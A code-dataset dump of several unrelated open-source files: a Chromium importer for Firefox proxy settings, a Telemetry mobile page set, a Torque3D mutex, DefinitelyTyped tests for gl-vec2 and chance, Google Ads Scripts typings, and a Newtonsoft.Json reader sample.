#include "base/values.h"
#include "chrome/common/importer/firefox_importer_utils.h"
#include "net/proxy/proxy_config.h"
namespace {
const char* const kNetworkProxyTypeKey = "network.proxy.type";
const char* const kHTTPProxyKey = "network.proxy.http";
const char* const kHTTPProxyPortKey = "network.proxy.http_port";
const char* const kSSLProxyKey = "network.proxy.ssl";
const char* const kSSLProxyPortKey = "network.proxy.ssl_port";
const char* const kFTPProxyKey = "network.proxy.ftp";
const char* const kFTPProxyPortKey = "network.proxy.ftp_port";
const char* const kGopherProxyKey = "network.proxy.gopher";
const char* const kGopherProxyPortKey = "network.proxy.gopher_port";
const char* const kSOCKSHostKey = "network.proxy.socks";
const char* const kSOCKSHostPortKey = "network.proxy.socks_port";
const char* const kSOCKSVersionKey = "network.proxy.socks_version";
const char* const kAutoconfigURL = "network.proxy.autoconfig_url";
const char* const kNoProxyListKey = "network.proxy.no_proxies_on";
const char* const kPrefFileName = "prefs.js";
FirefoxProxySettings::ProxyConfig IntToProxyConfig(int type) {
switch (type) {
case 1:
return FirefoxProxySettings::MANUAL;
case 2:
return FirefoxProxySettings::AUTO_FROM_URL;
case 4:
return FirefoxProxySettings::AUTO_DETECT;
case 5:
return FirefoxProxySettings::SYSTEM;
default:
LOG(ERROR) << "Unknown Firefox proxy config type: " << type;
return FirefoxProxySettings::NO_PROXY;
}
}
FirefoxProxySettings::SOCKSVersion IntToSOCKSVersion(int type) {
switch (type) {
case 4:
return FirefoxProxySettings::V4;
case 5:
return FirefoxProxySettings::V5;
default:
LOG(ERROR) << "Unknown Firefox proxy config type: " << type;
return FirefoxProxySettings::UNKNONW;
}
}
// Parses the prefs found in the file |pref_file| and puts the key/value pairs
// in |prefs|. Keys are strings, and values can be strings, booleans or
// integers. Returns true if it succeeded, false otherwise (in which case
// |prefs| is not filled).
// Note: for strings, only valid UTF-8 string values are supported. If a
// key/pair is not valid UTF-8, it is ignored and will not appear in |prefs|.
bool ParsePrefFile(const base::FilePath& pref_file,
base::DictionaryValue* prefs) {
// The string that is before a pref key.
const std::string kUserPrefString = "user_pref(\"";
std::string contents;
if (!base::ReadFileToString(pref_file, &contents))
return false;
std::vector<std::string> lines;
Tokenize(contents, "\n", &lines);
for (std::vector<std::string>::const_iterator iter = lines.begin();
iter != lines.end(); ++iter) {
const std::string& line = *iter;
size_t start_key = line.find(kUserPrefString);
if (start_key == std::string::npos)
continue; // Could be a comment or a blank line.
start_key += kUserPrefString.length();
size_t stop_key = line.find('"', start_key);
if (stop_key == std::string::npos) {
LOG(ERROR) << "Invalid key found in Firefox pref file '" <<
pref_file.value() << "' line is '" << line << "'.";
continue;
}
std::string key = line.substr(start_key, stop_key - start_key);
size_t start_value = line.find(',', stop_key + 1);
if (start_value == std::string::npos) {
LOG(ERROR) << "Invalid value found in Firefox pref file '" <<
pref_file.value() << "' line is '" << line << "'.";
continue;
}
size_t stop_value = line.find(");", start_value + 1);
if (stop_value == std::string::npos) {
LOG(ERROR) << "Invalid value found in Firefox pref file '" <<
pref_file.value() << "' line is '" << line << "'.";
continue;
}
std::string value = line.substr(start_value + 1,
stop_value - start_value - 1);
base::TrimWhitespace(value, base::TRIM_ALL, &value);
// Value could be a boolean.
bool is_value_true = LowerCaseEqualsASCII(value, "true");
if (is_value_true || LowerCaseEqualsASCII(value, "false")) {
prefs->SetBoolean(key, is_value_true);
continue;
}
// Value could be a string.
if (value.size() >= 2U &&
value[0] == '"' && value[value.size() - 1] == '"') {
value = value.substr(1, value.size() - 2);
// ValueString only accept valid UTF-8. Simply ignore that entry if it is
// not UTF-8.
if (base::IsStringUTF8(value))
prefs->SetString(key, value);
else
VLOG(1) << "Non UTF8 value for key " << key << ", ignored.";
continue;
}
// Or value could be an integer.
int int_value = 0;
if (base::StringToInt(value, &int_value)) {
prefs->SetInteger(key, int_value);
continue;
}
LOG(ERROR) << "Invalid value found in Firefox pref file '"
<< pref_file.value() << "' value is '" << value << "'.";
}
return true;
}
} // namespace
FirefoxProxySettings::FirefoxProxySettings() {
Reset();
}
FirefoxProxySettings::~FirefoxProxySettings() {
}
void FirefoxProxySettings::Reset() {
config_type_ = NO_PROXY;
http_proxy_.clear();
http_proxy_port_ = 0;
ssl_proxy_.clear();
ssl_proxy_port_ = 0;
ftp_proxy_.clear();
ftp_proxy_port_ = 0;
gopher_proxy_.clear();
gopher_proxy_port_ = 0;
socks_host_.clear();
socks_port_ = 0;
socks_version_ = UNKNONW;
proxy_bypass_list_.clear();
autoconfig_url_.clear();
}
// static
bool FirefoxProxySettings::GetSettings(FirefoxProxySettings* settings) {
DCHECK(settings);
settings->Reset();
base::FilePath profile_path = GetFirefoxProfilePath();
if (profile_path.empty())
return false;
base::FilePath pref_file = profile_path.AppendASCII(kPrefFileName);
return GetSettingsFromFile(pref_file, settings);
}
bool FirefoxProxySettings::ToProxyConfig(net::ProxyConfig* config) {
switch (config_type()) {
case NO_PROXY:
*config = net::ProxyConfig::CreateDirect();
return true;
case AUTO_DETECT:
*config = net::ProxyConfig::CreateAutoDetect();
return true;
case AUTO_FROM_URL:
*config = net::ProxyConfig::CreateFromCustomPacURL(
GURL(autoconfig_url()));
return true;
case SYSTEM:
// Can't convert this directly to a ProxyConfig.
return false;
case MANUAL:
// Handled outside of the switch (since it is a lot of code.)
break;
default:
NOTREACHED();
return false;
}
// The rest of this funciton is for handling the MANUAL case.
DCHECK_EQ(MANUAL, config_type());
*config = net::ProxyConfig();
config->proxy_rules().type =
net::ProxyConfig::ProxyRules::TYPE_PROXY_PER_SCHEME;
if (!http_proxy().empty()) {
config->proxy_rules().proxies_for_http.SetSingleProxyServer(
net::ProxyServer(
net::ProxyServer::SCHEME_HTTP,
net::HostPortPair(http_proxy(), http_proxy_port())));
}
if (!ftp_proxy().empty()) {
config->proxy_rules().proxies_for_ftp.SetSingleProxyServer(
net::ProxyServer(
net::ProxyServer::SCHEME_HTTP,
net::HostPortPair(ftp_proxy(), ftp_proxy_port())));
}
if (!ssl_proxy().empty()) {
config->proxy_rules().proxies_for_https.SetSingleProxyServer(
net::ProxyServer(
net::ProxyServer::SCHEME_HTTP,
net::HostPortPair(ssl_proxy(), ssl_proxy_port())));
}
if (!socks_host().empty()) {
net::ProxyServer::Scheme proxy_scheme = V5 == socks_version() ?
net::ProxyServer::SCHEME_SOCKS5 : net::ProxyServer::SCHEME_SOCKS4;
config->proxy_rules().fallback_proxies.SetSingleProxyServer(
net::ProxyServer(
proxy_scheme,
net::HostPortPair(socks_host(), socks_port())));
}
config->proxy_rules().bypass_rules.ParseFromStringUsingSuffixMatching(
JoinString(proxy_bypass_list_, ';'));
return true;
}
// static
bool FirefoxProxySettings::GetSettingsFromFile(const base::FilePath& pref_file,
FirefoxProxySettings* settings) {
base::DictionaryValue dictionary;
if (!ParsePrefFile(pref_file, &dictionary))
return false;
int proxy_type = 0;
if (!dictionary.GetInteger(kNetworkProxyTypeKey, &proxy_type))
return true; // No type means no proxy.
settings->config_type_ = IntToProxyConfig(proxy_type);
if (settings->config_type_ == AUTO_FROM_URL) {
if (!dictionary.GetStringASCII(kAutoconfigURL,
&(settings->autoconfig_url_))) {
LOG(ERROR) << "Failed to retrieve Firefox proxy autoconfig URL";
}
return true;
}
if (settings->config_type_ == MANUAL) {
if (!dictionary.GetStringASCII(kHTTPProxyKey, &(settings->http_proxy_)))
LOG(ERROR) << "Failed to retrieve Firefox proxy HTTP host";
if (!dictionary.GetInteger(kHTTPProxyPortKey,
&(settings->http_proxy_port_))) {
LOG(ERROR) << "Failed to retrieve Firefox proxy HTTP port";
}
if (!dictionary.GetStringASCII(kSSLProxyKey, &(settings->ssl_proxy_)))
LOG(ERROR) << "Failed to retrieve Firefox proxy SSL host";
if (!dictionary.GetInteger(kSSLProxyPortKey, &(settings->ssl_proxy_port_)))
LOG(ERROR) << "Failed to retrieve Firefox proxy SSL port";
if (!dictionary.GetStringASCII(kFTPProxyKey, &(settings->ftp_proxy_)))
LOG(ERROR) << "Failed to retrieve Firefox proxy FTP host";
if (!dictionary.GetInteger(kFTPProxyPortKey, &(settings->ftp_proxy_port_)))
LOG(ERROR) << "Failed to retrieve Firefox proxy SSL port";
if (!dictionary.GetStringASCII(kGopherProxyKey, &(settings->gopher_proxy_)))
LOG(ERROR) << "Failed to retrieve Firefox proxy gopher host";
if (!dictionary.GetInteger(kGopherProxyPortKey,
&(settings->gopher_proxy_port_))) {
LOG(ERROR) << "Failed to retrieve Firefox proxy gopher port";
}
if (!dictionary.GetStringASCII(kSOCKSHostKey, &(settings->socks_host_)))
LOG(ERROR) << "Failed to retrieve Firefox SOCKS host";
if (!dictionary.GetInteger(kSOCKSHostPortKey, &(settings->socks_port_)))
LOG(ERROR) << "Failed to retrieve Firefox SOCKS port";
int socks_version;
if (dictionary.GetInteger(kSOCKSVersionKey, &socks_version))
settings->socks_version_ = IntToSOCKSVersion(socks_version);
std::string proxy_bypass;
if (dictionary.GetStringASCII(kNoProxyListKey, &proxy_bypass) &&
!proxy_bypass.empty()) {
base::StringTokenizer string_tok(proxy_bypass, ",");
while (string_tok.GetNext()) {
std::string token = string_tok.token();
base::TrimWhitespaceASCII(token, base::TRIM_ALL, &token);
if (!token.empty())
settings->proxy_bypass_list_.push_back(token);
}
}
}
return true;
}
| bsd-3-clause |
joone/chromium-crosswalk | tools/perf/page_sets/top_10_mobile.py | 2659 | # Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from telemetry.page import page as page_module
from telemetry.page import shared_page_state
from telemetry import story
URL_LIST = [
# Why: #1 (Alexa) most visited page worldwide, picked a reasonable
# search term
'https://www.google.com/#hl=en&q=science',
# Why: #2 (Alexa) most visited page worldwide, picked the most liked
# page
'https://m.facebook.com/rihanna',
# Why: #3 (Alexa) most visited page worldwide, picked a reasonable
# search term
'http://m.youtube.com/results?q=science',
# Why: #4 (Alexa) most visited page worldwide, picked a reasonable search
# term
'http://search.yahoo.com/search;_ylt=?p=google',
# Why: #5 (Alexa) most visited page worldwide, picked a reasonable search
# term
'http://www.baidu.com/s?word=google',
# Why: #6 (Alexa) most visited page worldwide, picked a reasonable page
'http://en.m.wikipedia.org/wiki/Science',
# Why: #10 (Alexa) most visited page worldwide, picked the most followed
# user
'https://mobile.twitter.com/justinbieber?skip_interstitial=true',
# Why: #11 (Alexa) most visited page worldwide, picked a reasonable
# page
'http://www.amazon.com/gp/aw/s/?k=nexus',
# Why: #13 (Alexa) most visited page worldwide, picked the first real
# page
'http://m.taobao.com/channel/act/mobile/20131111-women.html',
# Why: #18 (Alexa) most visited page worldwide, picked a reasonable
# search term
'http://yandex.ru/touchsearch?text=science',
]
class Top10MobilePage(page_module.Page):
def __init__(self, url, page_set, run_no_page_interactions):
super(Top10MobilePage, self).__init__(
url=url, page_set=page_set, credentials_path = 'data/credentials.json',
shared_page_state_class=shared_page_state.SharedMobilePageState)
self.archive_data_file = 'data/top_10_mobile.json'
self._run_no_page_interactions = run_no_page_interactions
def RunPageInteractions(self, action_runner):
if self._run_no_page_interactions:
return
with action_runner.CreateGestureInteraction('ScrollAction'):
action_runner.ScrollPage()
class Top10MobilePageSet(story.StorySet):
""" Top 10 mobile sites """
def __init__(self, run_no_page_interactions=False):
super(Top10MobilePageSet, self).__init__(
archive_data_file='data/top_10_mobile.json',
cloud_storage_bucket=story.PARTNER_BUCKET)
for url in URL_LIST:
self.AddStory(Top10MobilePage(url, self, run_no_page_interactions))
| bsd-3-clause |
Phantom139/Torque3D | Engine/source/platformX86UNIX/threads/mutex.cpp | 2271 | //-----------------------------------------------------------------------------
// Copyright (c) 2012 GarageGames, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//-----------------------------------------------------------------------------
#include "console/console.h"
#include "platformX86UNIX/platformX86UNIX.h"
#include "platform/threads/mutex.h"
#include "core/util/safeDelete.h"
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
struct PlatformMutexData
{
pthread_mutex_t mutex;
};
Mutex::Mutex()
{
mData = new PlatformMutexData;
pthread_mutexattr_t attr;
pthread_mutexattr_init(&attr);
pthread_mutexattr_settype(&attr,PTHREAD_MUTEX_RECURSIVE);
pthread_mutex_init(&mData->mutex, &attr);
}
Mutex::~Mutex()
{
AssertFatal(mData, "Mutex::destroyMutex: invalid mutex");
pthread_mutex_destroy(&mData->mutex);
SAFE_DELETE(mData);
}
bool Mutex::lock(bool block)
{
if(mData == NULL)
return false;
if(block)
{
return pthread_mutex_lock(&mData->mutex) == 0;
}
else
{
return pthread_mutex_trylock(&mData->mutex) == 0;
}
}
void Mutex::unlock()
{
if(mData == NULL)
return;
pthread_mutex_unlock(&mData->mutex);
}
| mit |
markogresak/DefinitelyTyped | types/gl-vec2/gl-vec2-tests.ts | 4626 | import GlVec2 = require("gl-vec2");
import GlVec2Add = require("gl-vec2/add");
import GlVec2Ceil = require("gl-vec2/ceil");
import GlVec2Clone = require("gl-vec2/clone");
import GlVec2Copy = require("gl-vec2/copy");
import GlVec2Create = require("gl-vec2/create");
import GlVec2Cross = require("gl-vec2/cross");
import GlVec2Dist = require("gl-vec2/dist");
import GlVec2Div = require("gl-vec2/div");
import GlVec2Dot = require("gl-vec2/dot");
import GlVec2Equals = require("gl-vec2/equals");
import GlVec2exactEquals = require("gl-vec2/exactEquals");
import GlVec2forEach = require("gl-vec2/forEach");
import GlVec2fromValues = require("gl-vec2/fromValues");
import GlVec2Floor = require("gl-vec2/floor");
import GlVec2Inverse = require("gl-vec2/inverse");
import GlVec2Len = require("gl-vec2/len");
import GlVec2Lerp = require("gl-vec2/lerp");
import GlVec2Limit = require("gl-vec2/limit");
import GlVec2Max = require("gl-vec2/max");
import GlVec2Min = require("gl-vec2/min");
import GlVec2Mul = require("gl-vec2/mul");
import GlVec2Negate = require("gl-vec2/negate");
import GlVec2Normalize = require("gl-vec2/normalize");
import GlVec2Random = require("gl-vec2/random");
import GlVec2Rotate = require("gl-vec2/rotate");
import GlVec2Round = require("gl-vec2/round");
import GlVec2Scale = require("gl-vec2/scale");
import GlVec2ScaleAndAdd = require("gl-vec2/scaleAndAdd");
import GlVec2Set = require("gl-vec2/set");
import GlVec2SqrDist = require("gl-vec2/sqrDist");
import GlVec2SqrLen = require("gl-vec2/sqrLen");
import GlVec2Sub = require("gl-vec2/sub");
import GlVec2TransformMat2 = require("gl-vec2/transformMat2");
import GlVec2TransformMat2d = require("gl-vec2/transformMat2d");
import GlVec2TransformMat3 = require("gl-vec2/transformMat3");
import GlVec2TransformMat4 = require("gl-vec2/transformMat4");
GlVec2.add([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2Add([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.ceil([1, 2, 3], [1, 2, 3]);
GlVec2Ceil([1, 2, 3], [1, 2, 3]);
GlVec2.clone([1, 2, 3]);
GlVec2Clone([1, 2, 3]);
GlVec2.copy([1, 2, 3], [1, 2, 3]);
GlVec2Copy([1, 2, 3], [1, 2, 3]);
GlVec2.create();
GlVec2Create();
GlVec2.cross([1, 2], [1, 2], [1, 2]);
GlVec2Cross([1, 2], [1, 2], [1, 2]);
GlVec2.dist([1, 2, 3], [1, 2, 3]);
GlVec2Dist([1, 2, 3], [1, 2, 3]);
GlVec2.div([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2Div([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.dot([1, 2, 3], [1, 2, 3]);
GlVec2Dot([1, 2, 3], [1, 2, 3]);
GlVec2.forEach([1, 2, 3], 5, 6, 1, () => [3], {});
GlVec2forEach([1, 2, 3], 5, 6, 1, () => [3], {});
GlVec2.fromValues(1, 2);
GlVec2fromValues(1, 2);
GlVec2.floor([1, 2], [1, 2]);
GlVec2Floor([1, 2], [1, 2]);
GlVec2.equals([1, 2, 3], [1, 2, 3]);
GlVec2Equals([1, 2, 3], [1, 2, 3]);
GlVec2.exactEquals([1, 2, 3], [1, 2, 3]);
GlVec2exactEquals([1, 2, 3], [1, 2, 3]);
GlVec2.inverse([1, 2, 3], [1, 2, 3]);
GlVec2Inverse([1, 2, 3], [1, 2, 3]);
GlVec2.len([1, 2, 3]);
GlVec2Len([1, 2, 3]);
GlVec2.lerp([1, 2, 3], [1, 2, 3], [1, 2, 3], 6);
GlVec2Lerp([1, 2, 3], [1, 2, 3], [1, 2, 3], 6);
GlVec2.limit([1, 2], [1, 2], 5);
GlVec2Limit([1, 2], [1, 2], 5);
GlVec2.max([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2Max([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.min([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2Min([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.mul([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2Mul([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.negate([1, 2, 3], [1, 2, 3]);
GlVec2Negate([1, 2, 3], [1, 2, 3]);
GlVec2.normalize([1, 2, 3], [1, 2, 3]);
GlVec2Normalize([1, 2, 3], [1, 2, 3]);
GlVec2.random([1, 2, 3], 6);
GlVec2Random([1, 2, 3], 6);
GlVec2.rotate([1, 2, 3], [1, 2, 3], 2);
GlVec2Rotate([1, 2, 3], [1, 2, 3], 2);
GlVec2.round([1, 2, 3], [1, 2, 3]);
GlVec2Round([1, 2, 3], [1, 2, 3]);
GlVec2.scale([1, 2, 3], [1, 2, 3], 6);
GlVec2Scale([1, 2, 3], [1, 2, 3], 6);
GlVec2.scaleAndAdd([1, 2, 3], [1, 2, 3], [1, 2, 3], 6);
GlVec2ScaleAndAdd([1, 2, 3], [1, 2, 3], [1, 2, 3], 6);
GlVec2.set([1, 2], 1, 2);
GlVec2Set([1, 2], 1, 2);
GlVec2.sqrDist([1, 2, 3], [1, 2, 3]);
GlVec2SqrDist([1, 2, 3], [1, 2, 3]);
GlVec2.sqrLen([1, 2, 3]);
GlVec2SqrLen([1, 2, 3]);
GlVec2.sub([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2Sub([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.transformMat2([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2TransformMat2([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.transformMat2([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2TransformMat2d([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.transformMat3([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2TransformMat3([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2.transformMat4([1, 2, 3], [1, 2, 3], [1, 2, 3]);
GlVec2TransformMat4([1, 2, 3], [1, 2, 3], [1, 2, 3]);
| mit |
markogresak/DefinitelyTyped | types/chance/chance-tests.ts | 7245 | import { Chance } from 'chance';
// Instantiation
const chance = new Chance();
const createYourOwn = new Chance(Math.random);
// Basic usage
let bool: boolean = chance.bool();
bool = chance.bool({likelihood: 30});
const birthday: Date = chance.birthday();
const birthdayStr: Date | string = chance.birthday({ string: true });
let guid = chance.guid();
guid = chance.guid({ version: 4 });
guid = chance.guid({ version: 5 });
const strArr: string[] = chance.n(chance.string, 42);
const strArr2: string[] = chance.n((a) => a.value, 42, { value: 'test' });
const uniqInts: number[] = chance.unique(chance.integer, 99);
const uniqInts2: number[] = chance.unique(a => chance.integer({ min: 0, max: 999 }) + a.value, 99, { value: 1000 });
interface currencyType { name: string; code: string; }
const currencyComparator = (arr: currencyType[], value: currencyType): boolean => arr.findIndex(x => x.code === value.code && x.name === value.name) > -1;
const uniqCurrencies: currencyType[] = chance.unique(chance.currency, 2, { comparator: currencyComparator });
const currencyPair = chance.currency_pair();
const firstCurrency = currencyPair[0];
const secondCurrency = currencyPair[1];
// Mixins can be used with on-the-fly type declaration
declare namespace Chance {
interface Chance {
time(): string;
mixinWithArgs(argv1: number, argv2: string): string;
}
}
chance.mixin({
time() {
const h = chance.hour({ twentyfour: true });
const m = chance.minute();
return `${h}:${m}`;
},
mixinWithArgs(argv1: number, argv2: string) {
return `${argv1} - ${argv2}`;
}
});
const chanceConstructedWithSeed100 = new Chance(100);
const chanceCalledWithSeed100 = Chance();
const chanceConstructedWithStringSeed = new Chance("test");
const chanceConstructedWithMultipleParameters = new Chance("test", 1, 1.5);
// Test new added typed functions
let letter = chance.letter();
letter = chance.letter({opt: 'abc'});
let cf = chance.cf();
cf = chance.cf({opt: 'abc'});
let cpf = chance.cpf();
cpf = chance.cpf({formatted: false});
let animal = chance.animal();
animal = chance.animal({opt: 'abc'});
let avatar = chance.avatar();
avatar = chance.avatar({opt: 'abc'});
let company = chance.company();
company = chance.company();
let profession = chance.profession();
profession = chance.profession({opt: 'abc'});
let timezone = chance.timezone();
timezone = chance.timezone();
let weekday = chance.weekday({opt: 'abc'});
weekday = chance.weekday({opt: 'abc'});
let euro = chance.euro();
euro = chance.euro({opt: 'abc'});
let coin = chance.coin();
coin = chance.coin();
// Make sure date works with min and max parameters
let date: string|Date = chance.date();
let min = new Date();
let max = new Date();
date = chance.date({min, max});
min = new Date();
min.setFullYear(new Date().getFullYear() - 15);
max = new Date();
max.setFullYear(new Date().getFullYear() + 15);
date = chance.date({min, max});
date = chance.date({min});
date = chance.date({max});
const language: string = chance.locale();
const region: string = chance.locale({region: true});
const languages: string[] = chance.locales();
const regions: string[] = chance.locales({region: true});
let word: string = chance.word();
word = chance.word({});
word = chance.word({syllables: 10, capitalize: true});
word = chance.word({length: 10, capitalize: true});
word = chance.word({syllables: 10});
word = chance.word({length: 10});
word = chance.word({capitalize: true});
let randomString: string = chance.string();
randomString = chance.string({});
randomString = chance.string({ pool: 'abcdef' });
randomString = chance.string({ length: 10 });
randomString = chance.string({ casing: 'upper' });
randomString = chance.string({ alpha: true });
randomString = chance.string({ numeric: true });
randomString = chance.string({ symbols: true });
randomString = chance.string({
pool: 'abcdef',
length: 10,
casing: 'lower',
alpha: true,
numeric: true,
symbols: true,
});
let char: string = chance.character();
char = chance.character({});
char = chance.character({ pool: 'abcdef' });
char = chance.character({ casing: 'upper' });
char = chance.character({ alpha: true });
char = chance.character({ numeric: true });
char = chance.character({ symbols: true });
char = chance.character({ pool: 'abcdef', casing: 'lower', alpha: true, numeric: true, symbols: true });
chance.falsy(); // $ExpectType FalsyType
chance.falsy({ pool: [NaN, undefined] }); // $ExpectType FalsyType
chance.template('{AA###}-{##}'); // $ExpectType string
let url: string = chance.url();
url = chance.url({});
url = chance.url({protocol: 'http'});
url = chance.url({domain: 'www.socialradar.com'});
url = chance.url({domain_prefix: 'dev'});
url = chance.url({path: 'images'});
url = chance.url({extensions: ['gif', 'jpg', 'png']});
url = chance.url({protocol: 'http', domain: 'www.socialradar.com', domain_prefix: 'dev', path: 'images', extensions: ['gif', 'jpg', 'png']});
let integer: number = chance.integer();
integer = chance.integer({});
integer = chance.integer({min: 1});
integer = chance.integer({max: 10});
integer = chance.integer({min: 1, max: 10});
let first: string = chance.first();
first = chance.first({});
first = chance.first({gender: 'male'});
first = chance.first({nationality: 'en'});
first = chance.first({gender: 'male', nationality: 'en'});
let last: string = chance.last();
last = chance.last({nationality: 'en'});
last = chance.last({nationality: 'jp'});
last = chance.last({nationality: '*'});
let prefix: string = chance.prefix();
prefix = chance.prefix({});
prefix = chance.prefix({gender: 'male'});
prefix = chance.prefix({gender: 'female'});
prefix = chance.prefix({gender: 'all'});
prefix = chance.prefix({full: true});
prefix = chance.prefix({gender: 'male', full: true});
let suffix: string = chance.suffix();
suffix = chance.suffix({full: true});
let name: string = chance.name();
name = chance.name({});
name = chance.name({middle: true});
name = chance.name({middle_initial: true});
name = chance.name({prefix: true});
name = chance.name({suffix: true});
name = chance.name({nationality: 'it'});
name = chance.name({gender: 'male'});
name = chance.name({full: true});
name = chance.name({middle: true, middle_initial: true, prefix: true, suffix: true, nationality: 'en', gender: 'male', full: true});
let email: string = chance.email();
email = chance.email({});
email = chance.email({domain: 'chance.com'});
email = chance.email({length: 10});
email = chance.email({domain: 'chance.com', length: 10});
let sentence: string = chance.sentence();
sentence = chance.sentence({});
sentence = chance.sentence({words: 10});
sentence = chance.sentence({punctuation: false});
sentence = chance.sentence({punctuation: '.'});
sentence = chance.sentence({punctuation: '?'});
sentence = chance.sentence({punctuation: ';'});
sentence = chance.sentence({punctuation: '!'});
sentence = chance.sentence({punctuation: ':'});
sentence = chance.sentence({words: 10, punctuation: '?'});
const postcode: string = chance.postcode();
let mac: string = chance.mac_address();
mac = chance.mac_address({});
mac = chance.mac_address({separator: '-'});
mac = chance.mac_address({networkVersion: true});
| mit |
markogresak/DefinitelyTyped | types/google-ads-scripts/ads-app/shopping/product-item-ids/product-item-id.d.ts | 2676 | declare namespace GoogleAdsScripts {
namespace AdsApp {
/** Represents a product item ID. */
interface ProductItemId extends Base.StatsFor {
/** Returns a selector of the child product groups of this product item id. */
children(): ProductGroupSelector;
/** Converts the product item id into a negative product item id. */
exclude(): void;
/** Returns the shopping ad group to which this product item id belongs. */
getAdGroup(): ShoppingAdGroup;
/** Returns the shopping campaign to which this product item id belongs. */
getCampaign(): ShoppingCampaign;
/** Returns the type of this entity as a String, in this case, "ProductItemId". */
getEntityType(): string;
/** Returns the ID of the product item id. */
getId(): number;
/** Returns the max cpc bid of the product item id, in the currency of the account. */
getMaxCpc(): number;
/** Returns the value of the product item id or null if this is the root product group. */
getValue(): string;
/** Converts the product item id into a positive product item id. */
include(): void;
/** Returns true if this is an excluded product item id. */
isExcluded(): boolean;
/** Returns true if the product item id is a catch-all product item id. */
isOtherCase(): boolean;
/** Returns access to the product group builder space or null if the product item id is excluded. */
newChild(): ProductGroupBuilderSpace;
/** Returns the parent product group of this product item id or null if this is the root product group. */
parent(): ProductGroup;
/** Removes the product item id. */
remove(): void;
/** Will remove all child product groups of this product item id. */
removeAllChildren(): void;
/** Sets the max cpc bid of the product item id to the specified value. */
setMaxCpc(maxCpc: number): void;
}
/** Builder for ProductItemId objects. */
interface ProductItemIdBuilder extends Base.Builder<ProductItemIdOperation> {
/** Specifies the bid of the product item id. */
withBid(bid: number): this;
/** Specifies the value of the product item id. */
withValue(value: string): this;
}
/** An operation representing creation of a new product item id. */
interface ProductItemIdOperation extends Base.Operation<ProductItemId> {}
}
}
| mit |
yogeshsaroya/new-cdnjs | ajax/libs/angular.js/1.3.10/i18n/angular-locale_lag-tz.js | 129 | version https://git-lfs.github.com/spec/v1
oid sha256:0851c1d52bb54485c6516587bd3b016d3e099f8abdcb95bc1dc6c1a13b1b2952
size 2590
| mit |
uwper/Newtonsoft.Json | Src/Newtonsoft.Json.Tests/Documentation/Samples/Linq/CreateReader.cs | 2637 | #region License
// Copyright (c) 2007 James Newton-King
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitation the rights to use,
// copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following
// conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
#endregion
using System;
using System.Collections.Generic;
using System.Text;
using Newtonsoft.Json.Linq;
#if DNXCORE50
using Xunit;
using Test = Xunit.FactAttribute;
using Assert = Newtonsoft.Json.Tests.XUnitAssert;
#else
using NUnit.Framework;
#endif
namespace Newtonsoft.Json.Tests.Documentation.Samples.Linq
{
[TestFixture]
public class CreateReader : TestFixtureBase
{
[Test]
public void Example()
{
#region Usage
JObject o = new JObject
{
{ "Cpu", "Intel" },
{ "Memory", 32 },
{
"Drives", new JArray
{
"DVD",
"SSD"
}
}
};
JsonReader reader = o.CreateReader();
while (reader.Read())
{
Console.Write(reader.TokenType);
if (reader.Value != null)
Console.Write(" - " + reader.Value);
Console.WriteLine();
}
// StartObject
// PropertyName - Cpu
// String - Intel
// PropertyName - Memory
// Integer - 32
// PropertyName - Drives
// StartArray
// String - DVD
// String - SSD
// EndArray
// EndObject
#endregion
Assert.IsFalse(reader.Read());
}
}
} | mit |
